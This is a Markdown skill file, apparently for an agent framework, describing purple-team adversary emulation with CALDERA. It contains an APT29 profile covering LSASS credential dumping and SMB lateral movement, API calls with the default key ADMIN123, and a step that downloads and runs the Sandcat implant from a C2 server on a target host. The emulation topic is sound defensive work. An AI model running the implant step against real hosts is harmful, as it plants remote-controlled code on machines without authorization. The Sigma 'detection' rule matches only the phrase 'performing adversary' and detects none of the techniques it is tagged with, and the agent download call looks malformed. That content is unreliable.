<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-adversary-emulation
description: >-
  Plan and execute adversary emulation campaigns using CALDERA, Atomic Red Team,
  and manual tradecraft. Build adversary profiles from CTI, chain techniques into
  realistic attack paths, and measure defensive response at each stage.
domain: cybersecurity
subdomain: purple-team
tags:
  - adversary-emulation
  - caldera
  - mitre-attack
  - attack-simulation
  - red-team
  - threat-intelligence
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1003.001", "T1021.002", "T1059.001", "T1204.002", "T1566.001"]
---

# Performing Adversary Emulation

## Overview

Adversary emulation replicates the full kill chain of a real-world threat actor,
chaining ATT&CK techniques in the order and manner observed in CTI reports. Unlike
isolated atomic tests, emulation evaluates whether defenders can detect and respond
to a coordinated, multi-stage intrusion.

## Prerequisites

| Requirement | Install |
|---|---|
| CALDERA | `git clone https://github.com/mitre/caldera.git && cd caldera && pip install -r requirements.txt` |
| Sandcat agent | Built into CALDERA — deploy via HTTP/S |
| Atomic Red Team | `Install-AtomicRedTeam -getAtomics` |
| Python 3.10+ | For CALDERA server and agent tooling |
| Isolated lab VLAN | Network segmentation for safe execution |

## Key Concepts

### CALDERA Architecture

| Component | Purpose |
|---|---|
| Server | C2 orchestration engine (port 8888) |
| Agents (Sandcat) | Implants on target hosts |
| Abilities | Individual ATT&CK technique implementations |
| Adversary profiles | Ordered collections of abilities |
| Operations | Execution instances of adversary profiles |
| Planners | Logic for technique chaining (atomic, batch, buckets) |

### Adversary Profile Structure

```yaml
adversary:
  name: APT29 Phase 1
  description: Initial access through credential theft
  objective: default
  atomic_ordering:
    - "T1566.001"  # Spearphishing Attachment
    - "T1204.002"  # User Execution: Malicious File
    - "T1059.001"  # PowerShell
    - "T1003.001"  # LSASS Memory
    - "T1021.002"  # SMB/Windows Admin Shares
```

## Workflow

### 1. Build Adversary Profile from CTI

```bash
# Start CALDERA server
cd caldera && python3 server.py --insecure --build

# Create adversary profile via REST API
curl -s -X POST http://localhost:8888/api/v2/adversaries \
  -H "KEY: ADMIN123" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "APT29-Emulation",
    "description": "APT29 initial access and lateral movement",
    "atomic_ordering": [
      "T1566.001", "T1204.002", "T1059.001",
      "T1003.001", "T1021.002"
    ]
  }'
```

### 2. Deploy Agents

```bash
# Deploy Sandcat agent on target (from target host)
curl -s http://caldera-server:8888/file/download \
  -d '{"file":"sandcat.go","platform":"linux"}' \
  -o sandcat && chmod +x sandcat
./sandcat -server http://caldera-server:8888 -group red

# Verify agent check-in
curl -s http://localhost:8888/api/v2/agents \
  -H "KEY: ADMIN123" | jq '.[].paw'
```

### 3. Execute Operation

```bash
# Launch operation
curl -s -X POST http://localhost:8888/api/v2/operations \
  -H "KEY: ADMIN123" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "APT29-Run-001",
    "adversary": {"adversary_id": "<adversary-uuid>"},
    "planner": {"id": "atomic"},
    "group": "red",
    "auto_close": false
  }'

# Monitor operation progress
curl -s "http://localhost:8888/api/v2/operations/<op-id>" \
  -H "KEY: ADMIN123" | jq '.chain[] | {ability: .ability.name, status: .status}'
```

### 4. Record Detection Timeline

```bash
# For each technique execution, record:
node scripts/agent.js record-detection \
  --operation APT29-Run-001 \
  --technique T1003.001 \
  --exec-time "2026-03-15T14:30:00Z" \
  --alert-time "2026-03-15T14:32:15Z" \
  --rule-id sigma-cred-001
```

## Detection

```yaml
title: Adversary Emulation Detection
id: 94cf2a1c-53ed-484e-a5e9-4708af855a38
status: experimental
description: Detects suspicious activity related to performing adversary emulation techniques in purple team context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*adversary*"
  condition: selection
level: medium
tags:
  - attack.t1003.001
  - attack.t1021.002
  - attack.t1059.001
  - attack.t1204.002
  - attack.t1566.001
  - attack.defense_evasion
falsepositives:
  - Authorized adversary simulation exercises during scheduled windows
```

## Verification

| Check | Method |
|---|---|
| All agents reporting | `curl /api/v2/agents` — all agents have recent heartbeat |
| Operation complete | All abilities show `status: 0` (success) |
| Detection timeline | Every technique has exec_time and alert_time (or "missed") |
| MTTD calculated | Average detection time across detected techniques |
| Cleanup done | Post-operation cleanup abilities executed successfully |

## References

- [CALDERA Documentation](https://caldera.readthedocs.io/)
- [MITRE ATT&CK Evaluations](https://attackevals.mitre-engenuity.org/)
- [Center for Threat-Informed Defense](https://ctid.mitre-engenuity.org/)
